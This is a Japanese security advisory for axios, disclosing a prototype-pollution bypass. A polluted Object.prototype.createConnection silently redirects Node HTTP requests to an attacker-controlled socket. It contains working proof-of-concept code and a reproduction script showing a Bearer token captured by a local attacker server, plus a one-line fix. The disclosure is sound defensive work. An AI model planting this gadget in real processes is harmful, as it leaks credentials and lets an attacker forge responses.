Axios: Node HTTPアダプターにおけるプロトタイプ汚染の脆弱性により、継承された`createConnection`関数を介してリクエストソケットを乗っ取られる可能性がある。
## 概要
AxiosのNode HTTPアダプターは、Nodeの重要な`createConnection`リクエストオプションに対する、読み込み側のプロトタイプ汚染を引き起こす可能性がある。このアダプターは、nullプロトタイプを持つオプションオブジェクトを作成するが、NodeのHTTPクライアントは、接続の作成前にリクエストオプションを通常のオブジェクトにコピーまたは正規化する可能性がある。もし、同じプロセス内で`Object.prototype.createConnection`が既に汚染されている場合、Nodeは継承された関数を呼び出し、攻撃者が制御するエンドポイントへのソケットを作成する可能性がある。
Axios自体がプロトタイプ汚染の元となるものではない。脆弱性は、AxiosがNodeにオプションを渡す前に、重要なトランスポートオプションに安全な値を設定していない点にある。
## 影響
既に同じプロセス内でプロトタイプ汚染が発生している場合、攻撃者は、リクエストURLとAxiosの設定が依然として正当なオリジンを指しているように見せかけながら、後続のAxios Node HTTPリクエストをソケット層でリダイレクトすることができる。攻撃者が制御するエンドポイントは、リクエストヘッダーやボディ(Authorizationヘッダー、Cookie、APIキー、サービス認証情報など)を受信し、攻撃者が制御する応答をアプリケーションに返すことができる。
これにより、Axiosを呼び出す前にURLを検証するアプリケーションの検証機能を回避できる可能性がある。なぜなら、URLは依然として有効に見えるが、基盤となるソケットは別の場所に向かうためである。
## 影響を受ける機能
影響を受けるもの:
- Node.js HTTPアダプター。
- Node/follow-redirectsオプションの処理に依存し、独自の安全な`createConnection`を設定していないHTTPおよびHTTPSリクエストパス。
- `Object.prototype.createConnection`が汚染されているプロセス。
影響を受けないもの:
- ブラウザアダプター。
- プロトタイプ汚染が発生していないプロセス。
- 継承された`createConnection`を無視し、オプションを内部的にサニタイズする、カスタムの信頼できるトランスポートを使用しているリクエスト。
## 技術的な詳細
`lib/adapters/http.js`で以下が作成される:
```js
const options = Object.assign(Object.create(null), {
path,
method,
headers,
agents: { http: httpAgent, https: httpsAgent },
auth,
protocol,
family,
beforeRedirect: dispatchBeforeRedirect,
beforeRedirects: Object.create(null),
http2Options,
});
```
このオブジェクトには、独自の `createConnection` プロパティは含まれていません。axiosのバージョン `1.18.1` でのローカル検証により、`Object.prototype.createConnection` が汚染され、攻撃者のローカルサーバーへの接続が可能になりました。認証ヘッダー付きの正当なローカルサーバーへのリクエストは、攻撃者の応答を返しました。正当なサーバーにはリクエストが到達せず、攻撃者のサーバーには `Bearer SECRET` が受信されました。
## 攻撃の概念実証
限定的なローカルデモンストレーション:
```js
Object.prototype.createConnection = function (_options, cb) {
const socket = net.createConnection({ host: '127.0.0.1', port: attackerPort }, () => {
if (typeof cb === 'function') cb(null, socket);
});
return socket;
};
await axios.get('http://127.0.0.1:<legit-port>/secret', {
headers: { Authorization: 'Bearer SECRET' },
proxy: false
});
```
期待される安全な動作は、正当なサーバーがリクエストを受信するということです。現在の問題点として、攻撃者のサーバーがリクエストを受信し、応答を返す可能性があります。
## 対策
プロトタイプ汚染が存在しないプロセスでaxiosを実行してください。リスクの高い内部クライアントの場合、Nodeの要求オプションの継承を許可するのではなく、独自の信頼できるトランスポートまたはエージェントレイヤーを使用し、接続の作成方法を定義して強制してください。
<details>
<summary><h3">元のレポート</h3></summary>
## 概要
AxiosのNode HTTPアダプタは、最近のnullプロトタイプ保護後も、読み取り側のプロトタイプ汚染の脆弱性を持つ可能性があります。これは、axiosがプロトタイプ汚染の発生源であることを意味するものではありません。前提条件は、同じNode.jsプロセス内の別のアップストリームのプロトタイプ汚染の存在です。
`Object.prototype.createConnection` が汚染されると、たとえアダプターが `Object.create(null)` を使用してリクエストオプションを構築している場合でも、axios のリクエストが攻撃者が制御するソケットにリダイレクトされる可能性があります。リクエストの URL と axios の設定は、依然として正当なホストをターゲットにしているように見えるかもしれませんが、実際のソケットは攻撃者が制御しています。
これにより、汚染されたプロセスにおける後続の axios HTTP リクエストにおいて、認証情報の漏洩やレスポンスの改ざんが可能になります。
## 影響
同じプロセス内で、上位のプロトタイプ汚染の脆弱性が存在する場合、攻撃者は後続の axios HTTP リクエストを中間者攻撃の手段に利用できます。
- axios リクエストの基盤となるソケットを、攻撃者が制御するインフラストラクチャにリダイレクトする。
- 正当なターゲットを意図したヘッダーやリクエストボディを受信する( bearer トークン、Cookie、API キー、サービス認証情報などを含む)。
- 攻撃者が制御するレスポンスを呼び出し元に返す。
- axios を呼び出す前に URL を検証するアプリケーションの SSRF 対策を回避する。なぜなら、要求された URL は依然として有効でありながら、ソケットは別の場所に接続されるためです。
重要な点は、axios のドキュメントに記載されている、読み取り側のプロトタイプ汚染対策です。このプロジェクトのリスクモデルでは、トランスティブな依存関係から生じる汚染された `Object.prototype` を、axios が継承された動作を変更するプロパティを受け取らないようにするための、読み取り側のガジェットクラスとして扱っています。この問題は、Node HTTP リクエストオプションの境界における、その対策の回避です。
## 技術的な詳細
HTTP アダプターは、選択されたトランスポートを呼び出す前に、null プロトタイプのオブジェクトをリクエストオプションとして構築します。
```js
const options = Object.assign(Object.create(null), {
path,
method: method,
headers: toByteStringHeaderObject(headers),
agents: { http: config.httpAgent, https: config.httpsAgent },
auth,
protocol,
family,
beforeRedirect: dispatchBeforeRedirect,
beforeRedirects: Object.create(null),
http2Options,
});
```
これにより、オプションオブジェクトがnullプロトタイプである間、直接的な継承によるプロパティの読み込みが防止されます。しかし、Node.jsのHTTPクライアントは、接続の確立前に、リクエストオプションを通常のオブジェクトにコピーまたは正規化します。そのコピーの後、欠落しているプロパティが再び`Object.prototype`から解決される可能性があります。
`createConnection`は、Node.jsのHTTPオプションの中でも重要なものです。このコピーの後で継承される場合、Node.jsは攻撃者が提供した関数を呼び出してソケットを作成します。
## 再現
以下の最小限の再現例は、正当なターゲットサーバーと攻撃者サーバーを使用しています。これは、`Object.prototype.createConnection`を汚染し、Authorizationヘッダー付きで正当なサーバーに対してaxiosリクエストを行います。
```js
import net from 'node:net';
import http from 'node:http';
import axios from 'axios';
function listen(handler) {
return new Promise(resolve => {
const s = http.createServer(handler);
s.listen(0, '127.0.0.1', () => resolve(s));
});
}
const legitHits = [];
const attackerHits = [];
const legit = await listen((req, res) => {
legitHits.push({url: req.url, auth: req.headers.authorization || null});
res.end('LEGIT');
});
const attacker = await listen((req, res) => {
attackerHits.push({url: req.url, auth: req.headers.authorization || null});
res.end('ATTACKER');
});
Object.prototype.createConnection = function(options, cb) {
const sock = net.createConnection({
host: '127.0.0.1',
port: attacker.address().port,
}, () => {
if (typeof cb === 'function') cb(null, sock);
});
return sock;
};
const res = await axios.get(`http://127.0.0.1:${legit.address().port}/secret`, {
headers: {Authorization: 'Bearer SECRET'},
proxy: false,
});
console.log({
response: res.data,
legitHits,
attackerHits,
});
```
現在のnpmパッケージでの観察結果:
```json
{
"response": "ATTACKER",
"legitHits": [],
"attackerHits": [
{
"url": "/secret",
"auth": "Bearer SECRET"
}
]
}
```
リクエストは意図された宛先に到達しませんでした。攻撃者が制御するサーバーは、Authorizationヘッダーを受け取り、axiosによって返されるレスポンスボディを提供しました。
## テストされたバージョン
私は以下のバージョンでこの問題を再現しました。
- npmから取得したaxios 1.16.1
- npmから取得したaxios 1.17.0
- 現在の`v1.x`ソースコード(コミット`a8e4f13aeecc45a3b8fab3ecfd9ddb5d70fb772b`)
## 修正方法
アダプターオプションオブジェクトに、`createConnection`に対する独自の安全な値を設定することで、Nodeのオプションコピー後に継承された汚染が観察されるのを防ぐことができます。
```js
const options = Object.assign(Object.create(null), {
path,
method: method,
headers: toByteStringHeaderObject(headers),
agents: { http: config.httpAgent, https: config.httpsAgent },
auth,
protocol,
family,
beforeRedirect: dispatchBeforeRedirect,
beforeRedirects: Object.create(null),
http2Options,
createConnection: undefined,
});
```
この対策を講じることで、同じ検証では汚染された関数が呼び出されなくなります。正当なサーバーはリクエストを受け取り、攻撃者のサーバーは何も受け取りません。axiosは正当なレスポンスを返します。
## 対策
`transport.request`を呼び出す前に、機密性の高いNode HTTPリクエストオプションに独自の安全なデフォルト値を設定します。少なくとも、以下の設定を行います。
```js
createConnection: undefined
```
Nodeがリクエストオプションを通常のオブジェクトにコピーした後、読み込まれる可能性のある他の機密性の高いNode HTTPオプションも確認することをお勧めします。特に、接続/TLSに影響を与えるフィールドである`lookup`、`timeout`、`localAddress`、`servername`、`signal`、および関連するオプションに注意してください。
</details>
---
影響を受けるパッケージ:
- npm (JavaScript) axios: 影響あり >= 1.15.2, < 1.20.0、1.20.0で修正済み。